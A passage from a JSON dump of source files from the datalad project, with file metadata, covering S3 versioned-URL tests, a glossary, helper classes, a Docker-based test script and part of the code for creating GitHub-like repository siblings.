'tnt'), reckless=True)\\n # link to metaanalysis\\n metaanalysis.clone(source=ana.path, path=opj('src', 'ana{}'.format(i)),\\n reckless=True)\\n # simulate change in an input (but not raw) dataset\\n create_tree(\\n aligned.path,\\n {'modification{}.txt'.format(i): 'unique{}'.format(i)})\\n aligned.save('.')\\n # finally aggregate data\\n aggregate = public.create('aggregate', description='aggregate data')\\n aggregate.clone(source=aligned.path, path=opj('src', 'aligned'), reckless=True)\\n # the toplevel dataset is intentionally left dirty, to reflect the\\n # most likely condition for the joint dataset to be in at any given\\n # point in time\\n\"\n },\n {\n \"alpha_fraction\": 0.6148208379745483,\n \"alphanum_fraction\": 0.6319218277931213,\n \"avg_line_length\": 41.344825744628906,\n \"blob_id\": \"179d35dc6a6aea9705e9d17059156e4d886fa45e\",\n \"content_id\": \"dbe05ad0541ec4ad2bbaffb6c5ad02d735c9ec4b\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4912,\n \"license_type\": \"permissive\",\n \"max_line_length\": 120,\n \"num_lines\": 116,\n \"path\": \"/datalad/tests/test_s3.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test S3 supporting functionality\\n\\n\\\"\\\"\\\"\\n\\nfrom datalad.downloaders.tests.utils import get_test_providers\\nfrom datalad.support.network import URL\\nfrom datalad.support.s3 import (\\n add_version_to_url,\\n get_versioned_url,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_raises,\\n eq_,\\n ok_startswith,\\n skip_if_no_network,\\n use_cassette,\\n)\\n\\n\\ndef test_add_version_to_url():\\n base_url = \\\"http://ex.com/f.txt\\\"\\n base_url_query = \\\"http://ex.com/f.txt?k=v\\\"\\n for replace in True, False:\\n eq_(add_version_to_url(URL(base_url), \\\"new.id\\\", replace=replace),\\n base_url + \\\"?versionId=new.id\\\")\\n\\n eq_(add_version_to_url(URL(base_url_query),\\n \\\"new.id\\\", replace=replace),\\n base_url_query + \\\"&versionId=new.id\\\")\\n\\n expected = \\\"new.id\\\" if replace else \\\"orig.id\\\"\\n eq_(add_version_to_url(URL(base_url + \\\"?versionId=orig.id\\\"),\\n \\\"new.id\\\",\\n replace=replace),\\n base_url + \\\"?versionId=\\\" + expected)\\n\\n eq_(add_version_to_url(URL(base_url_query + \\\"&versionId=orig.id\\\"),\\n \\\"new.id\\\",\\n replace=replace),\\n base_url_query + \\\"&versionId=\\\" + expected)\\n\\n\\n@skip_if_no_network\\n@use_cassette('s3_test_version_url')\\ndef test_get_versioned_url():\\n get_test_providers('s3://openfmri/tarballs') # to verify having credentials to access openfmri via S3\\n for url_pref in ('http://openfmri.s3.amazonaws.com', 'https://s3.amazonaws.com/openfmri'):\\n eq_(get_versioned_url(url_pref + \\\"/tarballs/ds001_raw.tgz\\\"),\\n url_pref + \\\"/tarballs/ds001_raw.tgz?versionId=null\\\")\\n\\n eq_(get_versioned_url(url_pref + \\\"/tarballs/ds001_raw.tgz?param=1\\\"),\\n url_pref + \\\"/tarballs/ds001_raw.tgz?param=1&versionId=null\\\")\\n\\n # We don't duplicate the version if it already exists.\\n eq_(get_versioned_url(url_pref + \\\"/tarballs/ds001_raw.tgz?versionId=null\\\"),\\n url_pref + \\\"/tarballs/ds001_raw.tgz?versionId=null\\\")\\n\\n # something is wrong there\\n #print(get_versioned_url(\\\"http://openfmri.s3.amazonaws.com/ds001/demographics.txt\\\"))\\n\\n eq_(get_versioned_url(\\\"someurl\\\"), \\\"someurl\\\") # should just return original one\\n assert_raises(RuntimeError, get_versioned_url, \\\"someurl\\\", guarantee_versioned=True)\\n\\n # TODO: on a bucket without versioning\\n url = \\\"http://datalad-test0-nonversioned.s3.amazonaws.com/2versions-removed-recreated.txt\\\"\\n eq_(get_versioned_url(url), url)\\n eq_(get_versioned_url(url, return_all=True), [url])\\n\\n assert_raises(NotImplementedError, get_versioned_url, \\\"s3://buga\\\")\\n\\n urls = get_versioned_url(\\\"http://datalad-test0-versioned.s3.amazonaws.com/2versions-removed-recreated.txt\\\",\\n return_all=True, verify=True)\\n eq_(len(set(urls)), len(urls)) # all unique\\n for url in urls:\\n # so we didn't grab other files along with the same prefix\\n ok_startswith(url, 'http://datalad-test0-versioned.s3.amazonaws.com/2versions-removed-recreated.txt?versionId=')\\n\\n # Update a versioned URL with a newer version tag.\\n url_3ver = \\\"http://datalad-test0-versioned.s3.amazonaws.com/3versions-allversioned.txt\\\"\\n url_3ver_input = url_3ver + \\\"?versionId=b.qCuh7Sg58VIYj8TVHzbRS97EvejzEl\\\"\\n eq_(get_versioned_url(url_3ver_input), url_3ver_input)\\n eq_(get_versioned_url(url_3ver_input, update=True),\\n url_3ver + \\\"?versionId=Kvuind11HZh._dCPaDAb0OY9dRrQoTMn\\\")\\n\\n\\n@skip_if_no_network\\n@use_cassette('s3_test_version_url_anon')\\ndef test_get_versioned_url_anon():\\n # The one without any authenticator, was crashing.\\n # Also it triggered another bug about having . in the bucket name\\n url_on = \\\"http://dandiarchive.s3.amazonaws.com/ros3test.nwb\\\"\\n url_on_versioned = get_versioned_url(url_on)\\n ok_startswith(url_on_versioned, url_on + \\\"?versionId=\\\")\\n\\n\\n@skip_if_no_network\\n@use_cassette('s3_test_version_url_deleted')\\ndef test_version_url_deleted():\\n get_test_providers('s3://datalad-test0-versioned/', reload=True) # to verify having credentials to access\\n # openfmri via S3\\n # it existed and then was removed\\n fpath = \\\"1version-removed.txt\\\"\\n url = \\\"http://datalad-test0-versioned.s3.amazonaws.com/%s\\\" % fpath\\n turl = \\\"http://datalad-test0-versioned.s3.amazonaws.com/%s\\\" \\\\\\n \\\"?versionId=eZ5Hgwo8azfBv3QT7aW9dmm2sbLUY.QP\\\" % fpath\\n eq_(get_versioned_url(url), turl)\\n # too heavy for verification!\\n #eq_(get_versioned_url(url, verify=True), turl)\\n\"\n },\n {\n \"alpha_fraction\": 0.6749491095542908,\n \"alphanum_fraction\": 0.6806517243385315,\n \"avg_line_length\": 38.6129035949707,\n \"blob_id\": \"08863e6154dd8d2fe029e53646a96305739ef1ff\",\n \"content_id\": \"fa65fa11b1a2d4ee1adc0f27f6be694108e1a004\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2457,\n \"license_type\": \"permissive\",\n \"max_line_length\": 120,\n \"num_lines\": 62,\n \"path\": \"/docs/source/glossary.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst; fill-column: 78; indent-tabs-mode: nil -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ###\\n #\\n # See COPYING file distributed along with the datalad package for the\\n # copyright and license terms.\\n #\\n ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ###\\n\\n.. _chap_glossary:\\n\\n********\\nGlossary\\n********\\n\\nDataLad purposefully uses a terminology that is different from the one used by\\nits technological foundations Git_ and git-annex_. This glossary provides\\ndefinitions for terms used in the datalad documentation and API, and relates\\nthem to the corresponding Git_/git-annex_ concepts.\\n\\n.. glossary::\\n :sorted:\\n\\n dataset\\n A regular Git_ repository with an (optional) :term:`annex`.\\n\\n subdataset\\n A :term:`dataset` that is part of another dataset, by means of being\\n tracked as a Git_ submodule. As such, a subdataset is also a complete\\n dataset and not different from a standalone dataset.\\n\\n superdataset\\n A :term:`dataset` that contains at least one :term:`subdataset`.\\n\\n sibling\\n A :term:`dataset` (location) that is related to a particular dataset,\\n by sharing content and history. In Git_ terminology, this is a *clone*\\n of a dataset that is configured as a *remote*.\\n\\n annex\\n Extension to a Git_ repository, provided and managed by git-annex_ as\\n means to track and distribute large (and small) files without having to\\n inject them directly into a Git_ repository (which would slow Git\\n operations significantly and impair handling of such repositories in\\n general).\\n\\n CLI\\n A `Command Line Interface`_. Could be used interactively by executing\\n commands in a `shell`_, or as a programmable API for shell scripts.\\n\\n DataLad extension\\n A Python package, developed outside of the core DataLad codebase, which\\n (when installed) typically either provides additional top level `datalad`\\n commands and/or additional metadata extractors. Visit\\n `Handbook, Ch.2. DataLad’s extensions <http://handbook.datalad.org/en/latest/basics/101-144-intro_extensions.html>`_\\n for a representative list of extensions and instructions on how to install\\n them.\\n\\n.. _Git: https://git-scm.com\\n.. _Git-annex: http://git-annex.branchable.com\\n.. _`Command Line Interface`: https://en.wikipedia.org/wiki/Command-line_interface\\n.. _shell: https://en.wikipedia.org/wiki/Shell_(computing)\"\n },\n {\n \"alpha_fraction\": 0.560628354549408,\n \"alphanum_fraction\": 0.5650466084480286,\n \"avg_line_length\": 29.402984619140625,\n \"blob_id\": \"0624d264d6920b72e33210e2ab70b9b1276235b5\",\n \"content_id\": \"5269a2653722ec81ecc1b3df2c28536f6aa8b041\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2037,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 67,\n \"path\": \"/datalad/support/collections.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Auxiliary data structures\\\"\\\"\\\"\\n\\nfrom typing import Mapping\\n\\n\\nclass ReadOnlyDict(Mapping):\\n # Taken from https://github.com/slezica/python-frozendict\\n # License: MIT\\n \\\"\\\"\\\"\\n An immutable wrapper around dictionaries that implements the complete\\n :py:class:`collections.Mapping` interface. It can be used as a drop-in\\n replacement for dictionaries where immutability is desired.\\n \\\"\\\"\\\"\\n dict_cls = dict\\n\\n def __init__(self, *args, **kwargs):\\n self._dict = self.dict_cls(*args, **kwargs)\\n self._hash = None\\n\\n def __getitem__(self, key):\\n return self._dict[key]\\n\\n def __contains__(self, key):\\n return key in self._dict\\n\\n def copy(self, **add_or_replace):\\n return self.__class__(self, **add_or_replace)\\n\\n def __iter__(self):\\n return iter(self._dict)\\n\\n def __len__(self):\\n return len(self._dict)\\n\\n def __repr__(self):\\n return '<%s %r>' % (self.__class__.__name__, self._dict)\\n\\n def __hash__(self):\\n if self._hash is None:\\n h = 0\\n for key, value in self._dict.items():\\n h ^= hash((key, _val2hashable(value)))\\n self._hash = h\\n return self._hash\\n\\n\\ndef _val2hashable(val):\\n \\\"\\\"\\\"Small helper to convert incoming mutables to something hashable\\n\\n The goal is to be able to put the return value into a set, while\\n avoiding conversions that would result in a change of representation\\n in a subsequent JSON string.\\n \\\"\\\"\\\"\\n if isinstance(val, dict):\\n return ReadOnlyDict(val)\\n elif isinstance(val, list):\\n return tuple(map(_val2hashable, val))\\n else:\\n return val\\n\"\n },\n {\n \"alpha_fraction\": 0.6517778635025024,\n \"alphanum_fraction\": 0.6691154837608337,\n \"avg_line_length\": 36.39560317993164,\n \"blob_id\": \"3c2af6ebe7cb9952e6143b3c2127926e71c88723\",\n \"content_id\": \"fac347aec834528e22453f13ccc0a7f07b5e3cc8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3403,\n \"license_type\": \"permissive\",\n \"max_line_length\": 89,\n \"num_lines\": 91,\n \"path\": \"/datalad/customremotes/tests/test_datalad.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tests for the universal datalad's annex customremote\\\"\\\"\\\"\\n\\nimport glob\\nimport logging\\nimport os.path as op\\n\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.downloaders.tests.utils import get_test_providers\\nfrom datalad.support.exceptions import CommandError\\nfrom datalad.support.external_versions import external_versions\\nfrom datalad.tests.utils_pytest import (\\n assert_in,\\n assert_raises,\\n eq_,\\n serve_path_via_http,\\n skip_if_no_network,\\n swallow_logs,\\n with_tempfile,\\n with_tree,\\n)\\n\\n\\n@with_tempfile()\\n@skip_if_no_network\\ndef check_basic_scenario(url, d=None):\\n ds = Dataset(d).create()\\n annex = ds.repo\\n\\n # TODO skip if no boto or no credentials\\n get_test_providers(url) # so to skip if unknown creds\\n\\n # Let's try to add some file which we should have access to\\n ds.download_url(url)\\n ds.save()\\n\\n # git-annex got a fix where it stopped replacing - in the middle of the filename\\n # Let's cater to the developers who might have some intermediate version and not\\n # easy to compare -- we will just check that only one file there is an that it\\n # matches what we expect when outside of the development versions range:\\n filenames = glob.glob(op.join(d, '3versions[-_]allversioned.txt'))\\n eq_(len(filenames), 1)\\n filename = op.basename(filenames[0])\\n # Date after the fix in 8.20200501-53-gcabbc91b1 - must have '-'\\n if external_versions['cmd:annex'] >= '8.20200512':\\n assert_in('-', filename)\\n else:\\n # either one is ok\\n assert '_' in filename or '-' in filename\\n\\n whereis1 = annex.whereis(filename, output='full')\\n eq_(len(whereis1), 2) # here and datalad\\n annex.drop(filename)\\n\\n whereis2 = annex.whereis(filename, output='full')\\n eq_(len(whereis2), 1) # datalad\\n\\n # make sure that there are no \\\"hidden\\\" error messages, despite the\\n # whereis command succeeding\\n # https://github.com/datalad/datalad/issues/6453#issuecomment-1047533276\\n from datalad.runner import StdOutErrCapture\\n\\n # we need to swallow logs since if DATALAD_LOG_LEVEL is set low, we\\n # would get all the git-annex debug output in stderr\\n with swallow_logs(new_level=logging.INFO) as cml:\\n out = annex._call_annex(['whereis'], protocol=StdOutErrCapture)\\n eq_(out['stderr'].strip(), '')\\n\\n # if we provide some bogus address which we can't access, we shouldn't pollute output\\n with assert_raises(CommandError) as cme:\\n annex.add_url_to_file('bogus', url + '_bogus')\\n assert_in('addurl: 1 failed', cme.value.stderr)\\n\\n\\n# unfortunately with_tree etc decorators aren't generators friendly thus\\n# this little adapters to test both on local and s3 urls\\n@with_tree(tree={'3versions-allversioned.txt': \\\"somefile\\\"})\\n@serve_path_via_http\\ndef test_basic_scenario_local_url(p=None, local_url=None):\\n check_basic_scenario(\\\"%s3versions-allversioned.txt\\\" % local_url)\\n\\n\\ndef test_basic_scenario_s3():\\n check_basic_scenario('s3://datalad-test0-versioned/3versions-allversioned.txt')\\n\"\n },\n {\n \"alpha_fraction\": 0.5934369564056396,\n \"alphanum_fraction\": 0.5968911647796631,\n \"avg_line_length\": 36.11538314819336,\n \"blob_id\": \"bce82af43468c9d841318d7f476af657e7d43c4c\",\n \"content_id\": \"7d1dd36754d72fcc96423ef10bd550e007545e1d\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2895,\n \"license_type\": \"permissive\",\n \"max_line_length\": 99,\n \"num_lines\": 78,\n \"path\": \"/datalad/api.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Python DataLad API exposing user-oriented commands (also available via CLI)\\\"\\\"\\\"\\n\\nimport datalad\\nfrom datalad.coreapi import *\\n\\n\\ndef _command_summary():\\n # Import here to avoid polluting the datalad.api namespace.\\n from collections import defaultdict\\n from datalad.interface.base import alter_interface_docs_for_api\\n from datalad.interface.base import get_api_name\\n from datalad.interface.base import get_cmd_doc\\n from datalad.interface.base import get_cmd_summaries\\n from datalad.interface.base import get_interface_groups\\n from datalad.interface.base import load_interface\\n\\n groups = get_interface_groups()\\n grp_short_descriptions = defaultdict(list)\\n for group, _, specs in sorted(groups, key=lambda x: x[1]):\\n for spec in specs:\\n intf = load_interface(spec)\\n if intf is None:\\n continue\\n sdescr = getattr(intf, \\\"short_description\\\", None) or \\\\\\n alter_interface_docs_for_api(get_cmd_doc(intf)).split(\\\"\\\\n\\\")[0]\\n grp_short_descriptions[group].append(\\n (get_api_name(spec), sdescr))\\n return \\\"\\\\n\\\".join(get_cmd_summaries(grp_short_descriptions, groups))\\n\\n\\nif not datalad.in_librarymode():\\n __doc__ += \\\"\\\\n\\\\n{}\\\".format(_command_summary())\\n\\n\\ndef _generate_extension_api():\\n \\\"\\\"\\\"Auto detect all available extensions and generate an API from them\\n \\\"\\\"\\\"\\n from datalad.support.entrypoints import iter_entrypoints\\n from datalad.interface.base import (\\n get_api_name,\\n load_interface,\\n )\\n\\n import logging\\n lgr = logging.getLogger('datalad.api')\\n\\n for ename, _, (grp_descr, interfaces) in iter_entrypoints(\\n 'datalad.extensions', load=True):\\n for intfspec in interfaces:\\n # turn the interface spec into an instance\\n intf = load_interface(intfspec[:2])\\n if intf is None:\\n lgr.error(\\n \\\"Skipping unusable command interface '%s.%s' from extension %r\\\",\\n intfspec[0], intfspec[1], ename)\\n continue\\n api_name = get_api_name(intfspec)\\n if api_name in globals():\\n lgr.debug(\\n 'Command %s from extension %s is replacing a previously loaded implementation',\\n api_name,\\n ename)\\n globals()[api_name] = intf.__call__\\n\\n\\n_generate_extension_api()\\n\\n# Be nice and clean up the namespace properly\\ndel _generate_extension_api\\ndel _command_summary\\n\"\n },\n {\n \"alpha_fraction\": 0.5802277326583862,\n \"alphanum_fraction\": 0.5859213471412659,\n \"avg_line_length\": 31.200000762939453,\n \"blob_id\": \"a17d1ea1bcf579b040827c833becd7d0a45c718f\",\n \"content_id\": \"65f58241679da930332a8845d0f637974cf643d0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\",\n \"LicenseRef-scancode-unknown-license-reference\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 1932,\n \"license_type\": \"permissive\",\n \"max_line_length\": 89,\n \"num_lines\": 60,\n \"path\": \"/tools/testing/test_README_in_docker\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n#emacs: -*- mode: shell-script; c-basic-offset: 4; tab-width: 4; indent-tabs-mode: t -*- \\n#ex: set sts=4 ts=4 sw=4 noet:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# Helper to generate a Docker instance mapping user uder docker into your USER/UID/GID\\n# and allowing to run tox within that clean automatically generated according to\\n# README.md's apt-get lines environment\\n#\\nset -e\\n#set -x\\nset -u\\n\\nDL_DIST=$1\\n\\ntopdir=$(realpath `dirname $0`)\\ndockerfile=$topdir/test_README_in_docker-Dockerfile\\n# echo \\\"D: $DL_APT\\\"\\nsed -e \\\"s,DL_DIST,$DL_DIST,g\\\" \\\\\\n -e \\\"s,DL_USER,$USER,g\\\" \\\\\\n -e \\\"s,DL_UID,`id -u`,g\\\" \\\\\\n -e \\\"s,DL_GID,`id -g`,g\\\" \\\\\\n -e \\\"s,DL_GIT_USER_EMAIL,`git config --get user.email`,g\\\" \\\\\\n -e \\\"s,DL_GIT_USER_NAME,`git config --get user.name`,g\\\" \\\\\\n $dockerfile.in >| $dockerfile\\n\\n#DL_APT=$(grep '^\\\\(apt-get\\\\|pip\\\\)' ./../../README.md)\\n\\ngrep '^apt-get ' ./../../README.md | sed -e 's|python-{|python{,3}-{|g' \\\\\\n| while read aptline; do\\n sed -i -e \\\"s|\\\\(\\\\(.*\\\\)DL_APT\\\\(.*\\\\)\\\\)|\\\\2$aptline\\\\3\\\\n\\\\1|g\\\" $dockerfile\\n :\\ndone\\nsed -e '/DL_APT/d' -i $dockerfile\\n\\ntag=datalad:test_README_${USER}_$DL_DIST\\necho \\\"I: tag $tag\\\"\\nif docker images | grep -q datalad.*test_README.*$DL_DIST; then\\n echo \\\"I: tag already exists -- skipping rebuilding\\\"\\nelse\\n docker build -t $tag -f $dockerfile . #&& rm Dockerfile\\n #docker build --no-cache=True -t $tag -f $dockerfile . #&& rm Dockerfile\\nfi\\n\\ntopgitdir=`realpath ${topdir}/../..`\\necho \\\"I: top git dir $topgitdir\\\"\\n\\ntox=\\\"$topgitdir/.tox\\\"\\nif [ -e \\\"$tox\\\" ]; then\\n echo \\\"I: removing existing tox under $tox\\\"\\n rm -r $tox\\nfi\\n\\necho \\\"I: running tox within docker\\\"\\ndocker run -it --rm=true -v $topgitdir:/home/$USER/datalad $tag tox --sitepackages\\n\"\n },\n {\n \"alpha_fraction\": 0.5500243306159973,\n \"alphanum_fraction\": 0.5505512952804565,\n \"avg_line_length\": 34.854652404785156,\n \"blob_id\": \"7904e333a98af2572b22bcebc9756b98d1e18970\",\n \"content_id\": \"aa3ebb5af9f2d84e4887bee0b090ad23f2624066\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 24668,\n \"license_type\": \"permissive\",\n \"max_line_length\": 166,\n \"num_lines\": 688,\n \"path\": \"/datalad/distributed/create_sibling_ghlike.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Tooling for creating a publication target on GitHub-like systems\\n\\\"\\\"\\\"\\n\\nimport logging\\nimport re\\nfrom urllib.parse import (\\n urljoin,\\n urlparse,\\n)\\n\\nimport requests\\n\\nfrom datalad import cfg as dlcfg\\nfrom datalad.distribution.dataset import (\\n EnsureDataset,\\n require_dataset,\\n)\\nfrom datalad.downloaders.credentials import Token\\nfrom datalad.downloaders.http import DEFAULT_USER_AGENT\\nfrom datalad.interface.common_opts import (\\n publish_depends,\\n recursion_flag,\\n recursion_limit,\\n)\\nfrom datalad.interface.results import get_status_dict\\nfrom datalad.support.constraints import (\\n EnsureChoice,\\n EnsureNone,\\n EnsureStr,\\n)\\nfrom datalad.support.param import Parameter\\nfrom datalad.ui import ui\\nfrom datalad.utils import todo_interface_for_extensions\\n\\n\\nlgr = logging.getLogger('datalad.distributed.create_sibling_ghlike')\\n\\n\\nclass _GitHubLike(object):\\n \\\"\\\"\\\"Helper class with a platform abstraction for GitHub-like services\\n \\\"\\\"\\\"\\n # (short) lower-case name of the target platform\\n name = None\\n # (longer) name with fancy capitalization\\n fullname = None\\n # all API endpoint without base URL!\\n # to create a repo in an organization\\n create_org_repo_endpoint = None\\n # to create a repo under the authenticated user\\n create_user_repo_endpoint = None\\n # query for props of the authenticated users\\n get_authenticated_user_endpoint = None\\n # query for repository properties\\n get_repo_info_endpoint = None\\n # HTTP response codes for particular events\\n # repo created successfully\\n response_code_repo_created = requests.codes.created\\n # auth failure\\n response_code_unauthorized = requests.codes.forbidden\\n\\n # extra config settings to be used for a remote pointing to the\\n # target platform\\n extra_remote_settings = {}\\n\\n # to be used (in modified form) by create_sibling_*() commands that\\n # utilize this platform abstraction\\n create_sibling_params = dict(\\n dataset=Parameter(\\n args=(\\\"--dataset\\\", \\\"-d\\\",),\\n doc=\\\"\\\"\\\"dataset to create the publication target for. If not given,\\n an attempt is made to identify the dataset based on the current\\n working directory\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n reponame=Parameter(\\n args=('reponame',),\\n metavar='[<org-name>/]<repo-(base)name>',\\n doc=\\\"\\\"\\\"repository name, optionally including an '<organization>/'\\n prefix if the repository shall not reside under a user's namespace.\\n When operating recursively, a suffix will be appended to this name\\n for each subdataset\\\"\\\"\\\",\\n constraints=EnsureStr()),\\n recursive=recursion_flag,\\n recursion_limit=recursion_limit,\\n name=Parameter(\\n args=('-s', '--name',),\\n metavar='NAME',\\n doc=\\\"\\\"\\\"name of the sibling in the local dataset installation\\n (remote name)\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n existing=Parameter(\\n args=(\\\"--existing\\\",),\\n constraints=EnsureChoice(\\n 'skip', 'error', 'reconfigure'),\\n doc=\\\"\\\"\\\"behavior when already existing or configured\\n siblings are discovered: skip the dataset ('skip'), update the\\n configuration ('reconfigure'), or fail ('error').\\\"\\\"\\\",),\\n credential=Parameter(\\n args=('--credential',),\\n constraints=EnsureStr() | EnsureNone(),\\n metavar='NAME',\\n doc=\\\"\\\"\\\"name of the credential providing a personal access token\\n to be used for authorization. The token can be supplied via\\n configuration setting 'datalad.credential.<name>.token', or\\n environment variable DATALAD_CREDENTIAL_<NAME>_TOKEN, or will\\n be queried from the active credential store using the provided\\n name. If none is provided, the host-part of the API URL is used\\n as a name (e.g. 'https://api.github.com' -> 'api.github.com')\\\"\\\"\\\"),\\n api=Parameter(\\n args=('--api',),\\n constraints=EnsureStr() | EnsureNone(),\\n metavar='URL',\\n # TODO consider default instance via config\\n doc=\\\"\\\"\\\"API endpoint of the Git hosting service instance\\\"\\\"\\\"),\\n access_protocol=Parameter(\\n args=(\\\"--access-protocol\\\",),\\n constraints=EnsureChoice('https', 'ssh', 'https-ssh'),\\n doc=\\\"\\\"\\\"access protocol/URL to configure for the sibling. With\\n 'https-ssh' SSH will be used for write access, whereas HTTPS\\n is used for read access.\\\"\\\"\\\"),\\n description=Parameter(\\n args=(\\\"--description\\\",),\\n doc=\\\"\\\"\\\"Brief description, displayed on the project's page\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n publish_depends=publish_depends,\\n private=Parameter(\\n args=(\\\"--private\\\",),\\n action=\\\"store_true\\\",\\n default=False,\\n doc=\\\"\\\"\\\"if set, create a private repository\\\"\\\"\\\"),\\n dry_run=Parameter(\\n args=(\\\"--dry-run\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"if set, no repository will be created, only tests for\\n sibling name collisions will be performed, and would-be repository\\n names are reported for all relevant datasets\\\"\\\"\\\"),\\n )\\n\\n def __init__(self, url, credential, require_token=True, token_info=None):\\n if self.name is None or self.fullname is None:\\n raise NotImplementedError(\\n 'GitHub-like platform must have name and fullname properties')\\n if not url:\\n raise ValueError(f'API URL required for {self.fullname}')\\n\\n self.api_url = url\\n self._user_info = None\\n self._set_request_headers(\\n credential,\\n f'An access token is required for {url}' \\\\\\n + f'. {token_info}' if token_info else '',\\n require_token,\\n )\\n self._set_extra_remote_settings()\\n\\n def _set_extra_remote_settings(self):\\n target_name = urlparse(self.api_url).netloc\\n config_section = \\\"datalad.create-sibling-ghlike.extra-remote-settings.{}\\\".format(target_name)\\n target_specific_settings = {\\n option: dlcfg.get_value(config_section, option)\\n for option in dlcfg.options(config_section)\\n }\\n self.extra_remote_settings = {\\n **self.extra_remote_settings,\\n **target_specific_settings,\\n }\\n\\n @todo_interface_for_extensions\\n def _set_request_headers(self, credential_name, auth_info, require_token):\\n if credential_name is None:\\n credential_name = urlparse(self.api_url).netloc\\n\\n try:\\n self.auth = Token(credential_name)(\\n instructions=auth_info)['token']\\n except Exception as e:\\n lgr.debug('Token retrieval failed: %s', e)\\n lgr.warning(\\n 'Cannot determine authorization token for %s', credential_name)\\n if require_token:\\n raise ValueError(\\n f'Authorization required for {self.fullname}, '\\n f'cannot find token for a credential {credential_name}.')\\n else:\\n lgr.warning(\\\"No token found for credential '%s'\\\", credential_name)\\n self.auth = 'NO-TOKEN-AVAILABLE'\\n\\n self.request_headers = {\\n 'user-agent': DEFAULT_USER_AGENT,\\n 'authorization': f'token {self.auth}',\\n }\\n\\n @property\\n def authenticated_user(self):\\n \\\"\\\"\\\"Lazy query/reporting of properties for the authenticated user\\n\\n Returns\\n -------\\n dict\\n \\\"\\\"\\\"\\n if self._user_info:\\n return self._user_info\\n\\n endpoint = 